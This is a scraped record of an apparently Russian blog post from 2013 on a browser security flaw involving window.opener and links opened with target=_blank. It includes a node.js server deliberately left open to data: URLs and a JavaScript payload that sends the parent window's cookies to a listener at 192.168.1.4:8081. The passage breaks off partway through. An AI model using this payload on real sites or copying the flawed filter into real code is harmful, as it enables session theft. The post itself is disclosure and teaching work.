{"id":164539,"date":"2013-01-02T15:32:03","date_gmt":"2013-01-02T11:32:03","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=164539"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=164539","title":{"rendered":"<span class=\"post_title\">\u0410\u0442\u0430\u043a\u0443\u0435\u043c \u0447\u0435\u0440\u0435\u0437 HTML \u0442\u0435\u0433 \u0430<\/span>"},"content":{"rendered":"<div class=\"content html_format\">   \t\u0422\u0435\u0433 a \u2014 \u044d\u0442\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0446\u0435\u043d\u043d\u044b\u0439 \u043c\u0435\u0445, \u043d\u043e \u0438 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f window.opener. <br \/>  \u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u0432\u0430\u0441 \u0436\u0434\u0435\u0442 \u0440\u0430\u0441\u0441\u043a\u0430\u0437 \u043e\u0431 \u043e\u0434\u043d\u043e\u0439 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u0433\u0430 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b.<\/p>\n<p>  <a name=\"habracut\"><\/a><\/p>\n<h2>\u0412\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u0435<\/h2>\n<p>  \u0412\u0441\u0451 \u044d\u0442\u043e \u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c \u043c\u0435\u043d\u044c\u0448\u0435 \u0433\u043e\u0434\u0430 \u043d\u0430\u0437\u0430\u0434. \u042f \u0437\u0430\u043c\u0435\u0442\u0438\u043b (\u0443\u0437\u043d\u0430\u043b), \u0447\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0435 \u0433\u0438\u043f\u0435\u0440\u0441\u0441\u044b\u043b\u043a\u0438 \u0432 \u043d\u043e\u0432\u043e\u043c \u043e\u043a\u043d\u0435 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442 JavaScript\u2019\u043e\u0432\u0441\u043a\u0438\u0439 window.opener.<\/p>\n<p>  <i>\u0414\u043b\u044f \u0441\u043f\u0440\u0430\u0432\u043a\u0438: window.opener \u0434\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c\u0443 \u043e\u043a\u043d\u0443 (\u043a \u0444\u0440\u0435\u0439\u043c\u0443-\u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044e), \u0442.\u0435 \u043a \u043e\u043a\u043d\u0443, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0432\u044b\u0437\u0432\u0430\u043b\u0438 window.open().<\/i><\/p>\n<p>  \u0420\u0430\u0437\u0443\u043c\u0435\u0435\u0442\u0441\u044f, \u044f \u0441\u0440\u0430\u0437\u0443 \u043d\u0430\u0447\u0430\u043b \u0433\u0443\u0433\u043b\u0438\u0442\u044c, \u043d\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u0432\u0440\u0430\u0437\u0443\u043c\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043d\u0435 \u043d\u0430\u0448\u0435\u043b. \u0412\u0441\u0451 \u0431\u044b \u043d\u0438\u0447\u0435\u0433\u043e, \u043d\u043e \u0435\u0441\u043b\u0438 \u0431\u044b \u043d\u0435 \u043e\u0434\u043d\u043e \u00ab\u041d\u041e\u00bb: <br \/>  Window.opener \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0434\u043e\u043c\u0435\u043d\u044b \u0438\/\u0438\u043b\u0438 IP-\u0430\u0434\u0440\u0435\u0441\u0430 \u0440\u0430\u0437\u043d\u044b\u0435. <\/p>\n<p>  \u041d\u0430 \u0434\u043d\u044f\u0445 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u044e \u043f\u043e\u0447\u0442\u0443 \u0438 \u0432\u0438\u0436\u0443, \u0447\u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u042f\u043d\u0434\u0435\u043a\u0441\u0430:<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/188\/f00\/534\/188f0053415f2028b61a7ec461e9f45b.png\"\/><\/p>\n<p>  \u0421\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e \u0431\u0430\u0433\u0435, \u0442\u043e\u0447\u043d\u0435\u0435 \u043e \u0442\u0435\u043e\u0440\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0438 \u0430\u0442\u0430\u043a\u0438 \u0447\u0435\u0440\u0435\u0437 window.opener( \u0434\u0430\u043b\u0435\u0435 w.o), \u0431\u044b\u043b\u043e \u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043e \u043c\u043d\u043e\u0439 \u043e\u043a\u043e\u043b\u043e \u043c\u0435\u0441\u044f\u0446\u0430 \u043d\u0430\u0437\u0430\u0434, \u044f \u0443\u0436\u0435 \u0438 \u043d\u0435 \u043d\u0430\u0434\u0435\u044f\u043b\u0441\u044f \u043d\u0430 \u043e\u0442\u0432\u0435\u0442.<br \/>  \u041d\u043e \u043c\u0438\u0440 \u2013 \u0441\u0442\u0440\u0430\u043d\u043d\u0430\u044f \u0448\u0442\u0443\u043a\u0430, \u043d\u0435 \u0442\u0430\u043a \u043b\u0438? \ud83d\ude42<\/p>\n<h3>\u0427\u0430\u0441\u0442\u044c 1<\/h3>\n<h2>\u041e\u0442 \u0442\u0435\u043e\u0440\u0438\u0438 \u043a \u0434\u0435\u043b\u0443! <\/h2>\n<p>  \u041f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u043c, \u0447\u0442\u043e \u043c\u044b \u0438\u043c\u0435\u0435\u043c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443, \u0432 \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u0435\u043c \u0432\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0433\u0438\u043f\u0435\u0440\u0441\u0441\u044b\u043b\u043a\u0443.<br \/>  \u041d\u0430\u043f\u0438\u0448\u0435\u043c \u043a\u043e\u0434, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u043d\u0430\u043c \u0434\u0430\u043d\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.<\/p>\n<pre><code class=\"javascript\">\/\/\u041a\u043e\u0434 \u21161 \/*\u0410\u0432\u0442\u043e\u0440 \u043a\u043e\u0434\u0430 \u043f\u0440\u043e\u0441\u0438\u0442 \u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f \u0437\u0430 \u0432\u0441\u0435 \u0431\u0430\u0433\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435  \u0441 \u043d\u0438\u043c. \u041a\u043e\u0434 \u043d\u0430\u043f\u0438\u0441\u0430\u043d \u043f\u043e\u0434 node.js *\/ var http = require('http'); http.createServer(function (rq, rs) { var cookie=&quot;Super :&quot;+Math.random(-1)*30\/13+&quot;: Mario&quot;; \/\/\u043f\u0440\u0438 \u043a\u0430\u0436\u0434\u043e\u043c \u043d\u043e\u0432\u043e\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u0435, \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043a\u0443\u043a\u0438 \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0437\u043d\u044b\u043c   rs.writeHead(200, {'Content-Type': 'text\/html',                      'Set-Cookie': cookie});   if(!require('url').parse(rq.url).query){ \/\/ \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445   rs.end('&lt;h2&gt;ERROR!&lt;\/h2&gt;&lt;br&gt;Example: http:\/\/127.0.0.1:8080\/wo.bug?host=http:\/\/google.com\/&lt;br&gt;Shutting down :)'); console.log('[DEBUG] URL: '+rq.url+' is not valid!'); \/\/ \u043d\u0435\u043c\u043d\u043e\u0436\u043a\u043e \u0434\u0435\u0431\u0430\u0433\u0430   console.log('Achtung!');   process.kill(process.pid); \/\/\u0447\u0442\u043e\u0431\u044b \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 :)   }   var host=require('url').parse(rq.url, true).query.host, \/\/\u043f\u0430\u0440\u0441\u0438\u043c   host=host.replace(\/ \/g,'%20'),\/\/\u0420\u0435\u0448\u0438\u043c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0441 \u043e\u0431\u0440\u0435\u0437\u0430\u043d\u0438\u0435\u043c \u043f\u0440\u043e\u0431\u0435\u043b\u0430   host=host.replace(\/&lt;\/g,'&'+'lt;'), \/\/antiXSS   host=host.replace(\/&gt;\/g,'&'+'gt;'), \/\/antiXSS   host=host.replace(\/javascript:\/g,''); \/\/antiXSS   console.log('URL: '+host); \/\/\u0412\u044b\u0432\u043e\u0434 \u0441\u0441\u044b\u043b\u043a\u0438 \u0432 \u043a\u043e\u043d\u0441\u043e\u043b\u044c   rs.end('&lt;center&gt;&lt;br&gt;&lt;a href='+host+' target=&quot;_blank&quot;&gt;click-click&lt;\/a&gt;&lt;br&gt;Hey, '+cookie+'! &lt;\/center&gt;'); \/\/&quot;\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0439&quot; \u0432\u044b\u0432\u043e\u0434 }).listen(8080);  \/\/\u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0430 8080 \u043f\u043e\u0440\u0442\u0443  <\/code><\/pre>\n<p>  \u0412 \u0434\u0430\u043d\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u043f\u0443\u0449\u0435\u043d\u0430 \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 data. \u0427\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443, \u0438 \u043f\u043e \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430\u043c w.o, \u043c\u044b \u0441\u043c\u043e\u0436\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c XSS \u0430\u0442\u0430\u043a\u0443. <br \/>  \u0414\u043b\u044f \u0442\u0435\u0441\u0442\u043e\u0432 \u044f \u0432\u0437\u044f\u043b \u00ab\u0431\u043e\u043b\u044c\u0448\u0443\u044e \u0442\u0440\u043e\u0439\u043a\u0443\u00bb \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432: Opera\/12.12, FireFox\/18.00, Chrome\/23.0.1271.97.<\/p>\n<h3>FireFox<\/h3>\n<p>  \u0418\u0442\u0430\u043a, \u043f\u0435\u0440\u0435\u0434\u0430\u0434\u0438\u043c \u0432 \u0430\u0442\u0440\u0438\u0431\u0443\u0442 href, \u0442\u0435\u0433\u0430 a, \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u00abdata:,1\u00bb:<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/625\/8a7\/8cc\/6258a78ccd805111b77d474a49cf72d1.png\"\/><\/p>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u043d\u0430\u0436\u0430\u0442\u0438\u044f \u043d\u0430 \u0433\u0438\u043f\u0435\u0440\u0441\u0441\u044b\u043b\u043a\u0443 \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e w.o \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d:<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/661\/590\/e9e\/661590e9e47934969d0ba935872c885e.png\"\/><\/p>\n<p>  \u0410 \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442, \u0447\u0442\u043e, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043c\u044b \u0438\u043c\u0435\u0435\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c\u0443 \u043e\u043a\u043d\u0443. <br \/>  \u041e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0443\u0431\u0435\u0434\u0438\u0442\u044c\u0441\u044f \u0432 \u044d\u0442\u043e\u043c.<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/9ea\/a95\/9e5\/9eaa959e567714c188034ef4125662f8.png\"\/><\/p>\n<p>  \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f w.o, \u043c\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u0443\u043a\u0430\u043c \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u043e\u043a\u043d\u0430, \u043d\u043e \u0432\u043e\u0442 \u043f\u043e\u0447\u0435\u043c\u0443 document.cookie=window.opener.document.cookie \u044f \u043d\u0435 \u0437\u043d\u0430\u044e, \u0447\u0435\u0441\u0442\u043d\u043e. \u0417\u0430\u043c\u0435\u0447\u0443, \u0447\u0442\u043e \u0434\u0430\u043d\u043d\u0430\u044f \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f FF.<\/p>\n<p>  \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043b \u043d\u0430 VM \u0441 XP SP3 \u0438 FF 17, \u0442\u0430\u043a\u0430\u044f \u0436\u0435 \u043a\u0430\u0440\u0442\u0438\u043d\u0430:<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/978\/551\/f4c\/978551f4cf74e8f744d37c0fbb6c7812.png\"\/><\/p>\n<p>  \u041e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c exploit, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0442\u0435\u0433 \u00ab\u0430\u00bb, \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b data \u0438 w.o, \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u043a\u0443\u043a(\u0434\u0430 \u0438 \u0432\u043e\u043e\u0431\u0449\u0435 \u0447\u0435\u0433\u043e \u0443\u0433\u043e\u0434\u043d\u043e).<\/p>\n<p>  Payload:<\/p>\n<pre><code>var snif=new Image(), \/\/\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0443 ck=window.opener.document.cookie, \/\/\u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043a\u0443\u043a\u0438 \u0438\u0437 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u043e\u043a\u043d\u0430 concat = function() { return Array.prototype.slice.call(arguments).join(&quot;&quot;)};\/\/\u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u0435\u043c \u0441\u0442\u0440\u043e\u043a\u0438 \u0431\u0435\u0437 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0437\u043d\u0430\u043a\u0430 +, \u0442\u0430\u043a \u043a\u0430\u043a \u0437\u043d\u0430\u043a \u043f\u043b\u044e\u0441 \u043f\u0440\u0438 GET \u0437\u0430\u043f\u0440\u043e\u0441\u0435 \u0440\u0430\u0432\u043d\u043e\u0441\u0438\u043b\u0435\u043d \u043f\u0440\u043e\u0431\u0435\u043b\u0443, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u0442 \u043a \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e\u043c\u0443 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441\u0443 JavaScript snif.src=concat('http:\/\/192.168.1.4:8081\/?cok=',ck); \/\/\u043e\u0442\u0441\u044b\u043b\u0430\u0435\u043c \u043a\u0443\u043a\u0438 (192.168.1.4-\u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 IP \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b) <\/code><\/pre>\n<p>  \u041f\u0435\u0440\u0435\u0434\u0430\u0435\u043c \u044d\u0442\u043e \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e host(\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b data, \u0430 \u0438\u043c\u0435\u043d\u043d\u043e: data:text\/html, <code>&lt;script&gt;\u041d\u0430\u0448 payload&lt;\/script&gt;<\/code> ).\u041d\u0430\u0436\u0438\u043c\u0430\u0435\u043c \u043d\u0430 \u0441\u0441\u044b\u043b\u043a\u0443 \u0438 \u043b\u044e\u0431\u0443\u0435\u043c\u0441\u044f \u043a\u0443\u043a\u0430\u043c\u0438:<br \/>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/168\/912\/07c\/16891207c3ef4c59871c94c1a7c4433d.png\"\/><\/p>\n<p>  \u0410 \u044d\u0442\u043e \u043e\u043a\u043d\u043e, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0438 \u043d\u0430\u0448 \u043a\u043e\u0434:<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/e1f\/e71\/504\/e1fe71504d7dfcf7c77a4e989c4dce27.png\"\/><\/p>\n<p>  \u041a\u0430\u043a \u0432\u0438\u0434\u0438\u0442\u0435, \u043c\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0441\u043c\u043e\u0433\u043b\u0438 \u0443\u043a\u0440\u0430\u0441\u0442\u044c \u043a\u0443\u043a\u0438.<\/p>\n<h3>Opera<\/h3>\n<p>  \u0421 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u043c Opera \u043f\u043e\u0447\u0442\u0438 \u0442\u0430\u043a \u0436\u0435, \u043a\u0430\u043a \u0438 \u0441 FireFox. \u0422\u0430\u043a \u0447\u0442\u043e \u0448\u0430\u0433\u0438 \u0431\u0443\u0434\u0443\u0442 \u0442\u0435 \u0436\u0435.<\/p>\n<p>  \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c, \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043b\u0438 w.o: <\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/e68\/771\/6a3\/e687716a31102af0466322ee070d33a3.png\"\/><\/p>\n<p>  \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c, \u043c\u043e\u0436\u0435\u043c \u043b\u0438 \u043c\u044b \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u043a\u0443\u043a\u0438:<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/c6e\/28b\/084\/c6e28b084f11cb29e32570c2d00ca983.png\"\/><\/p>\n<p>  \u0412\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u043c\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0441\u043c\u043e\u0433\u043b\u0438 \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u043a\u0443\u043a\u0438 \u0438\u0437 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u0432\u043a\u043b\u0430\u0434\u043a\u0438(\u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u043e\u043a\u043d\u0430).<br \/>  \u041e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c. \u041a\u043e\u0434 payload\u2019\u0430 \u0431\u0443\u0434\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0442\u0430\u043a\u043e\u0439 \u0436\u0435, \u043a\u0430\u043a \u0438 \u0434\u043b\u044f FF.<\/p>\n<p>  \u041f\u0435\u0440\u0435\u0434\u0430\u0435\u043c \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e host \u043d\u0430\u0448 exploit \u0438 \u043e\u043f\u044f\u0442\u044c \u043b\u044e\u0431\u0443\u0435\u043c\u0441\u044f \u043a\u0443\u043a\u0430\u043c\u0438:<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/a89\/8e8\/c4b\/a898e8c4ba4930e392dbc177d56ab3f3.png\"\/><\/p>\n<p>  \u041e\u043a\u043d\u043e \u0441\u043e \u0441\u0441\u044b\u043b\u043a\u043e\u0439:<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/1b6\/e67\/884\/1b6e67884c15200a8bf01862e2cea095.png\"\/><\/p>\n<p>  \u0418\u0442\u0430\u043a, \u043c\u044b \u0441\u043c\u043e\u0433\u043b\u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0443\u043a\u0440\u0430\u0441\u0442\u044c \u043a\u0443\u043a\u0438. \u0414\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f, \u043d\u043e \u0432\u0435\u0434\u044c \u0435\u0449\u0435 \u043e\u0441\u0442\u0430\u043b\u0441\u044f Google Chrome.<\/p>\n<h3>Chrome<\/h3>\n<p>  \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a w.o:<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/5dc\/a0e\/99b\/5dca0e99b8755d05e41ca7d9987d085e.png\"\/><\/p>\n<p>  W.o \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d, \u043d\u043e \u0425\u0440\u043e\u043c \u043d\u0435 \u0434\u0430\u0435\u0442 \u043d\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0430\u043d\u043d\u044b\u043c \u043e\u043a\u043d\u0430-\u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044f:<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/a02\/db8\/77a\/a02db877ad193f603f8e897a26b72356.png\"\/><\/p>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u0441\u0430\u043c\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0430 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0434 \u0434\u0440\u0443\u0433\u0438\u043c \u0443\u0433\u043b\u043e\u043c.<br \/>  \u0410 \u0447\u0442\u043e \u0431\u0443\u0434\u0435\u0442, \u0435\u0441\u043b\u0438 \u0438 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b data \u0444\u0438\u043b\u044c\u0442\u0440\u0443\u0435\u0442\u0441\u044f? <br \/>  \u0414\u043e\u0431\u0430\u0432\u0438\u043c \u0432 \u043d\u0430\u0448 \u043a\u043e\u0434 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u0443\u044e \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044e, \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 data. <\/p>\n<p>  \u041a\u043e\u0434 \u043f\u0440\u0438\u043c\u0435\u0442 \u0432\u0438\u0434:<\/p>\n<pre><code>\/*\u2026*\/   host=host.replace(\/&lt;\/g,'&'+'lt;'), \/\/antiXSS   host=host.replace(\/&gt;\/g,'&'+'gt;'), \/\/antiXSS   host=host.replace(\/javascript:\/g,''), \/\/antiXSS   host=host.replace(\/data:\/g,''); \/\/Data \u043d\u0435 \u043f\u0440\u043e\u0439\u0434\u0435\u0442! \/*\u2026*\/ <\/code><\/pre>\n<p>  \u0412\u043d\u0435\u0441\u044f \u044d\u0442\u0443 \u043f\u043e\u043f\u0440\u0430\u0432\u043a\u0443 \u0432 \u043a\u043e\u0434, \u043c\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0441\u043c\u043e\u0436\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 XSS \u0430\u0442\u0430\u043a\u0443, \u043d\u043e \u0432\u0432\u0435\u0441\u0442\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 \u0437\u0430\u0431\u043b\u0443\u0436\u0434\u0435\u043d\u0438\u0435, \u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0432 w.o, \u043c\u044b \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b.<\/p>\n<h3>\u0427\u0430\u0441\u0442\u044c 2<\/h3>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u043f\u0435\u0440\u0435\u0434\u0430\u0434\u0438\u043c, \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e host, \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u0441\u0430\u0439\u0442 evil.com.<\/p>\n<h3>FireFox<\/h3>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage2\/2d7\/883\/f46\/2d7883f4636a1cb6e9b5abc824e0a911.png\"\/><\/p>\n<p>  \u0412 FF 18 w.o \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f, \u043d\u043e \u043c\u044b \u043d\u0435 \u0438\u043c\u0435\u0435\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u0443\u0442\u044c \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0439 \u0444\u0440\u0435\u0439\u043c(\u0432\u043a\u043b\u0430\u0434\u043a\u0443), \u0442\u0430\u043a \u043a\u0430\u043a \u0434\u043e\u043c\u0435\u043d\u044b \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b \u0438 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043d\u0430\u043c \u044d\u0442\u043e \u043d\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442.<\/p>\n<h3>Opera<\/h3>\n<p>  <img 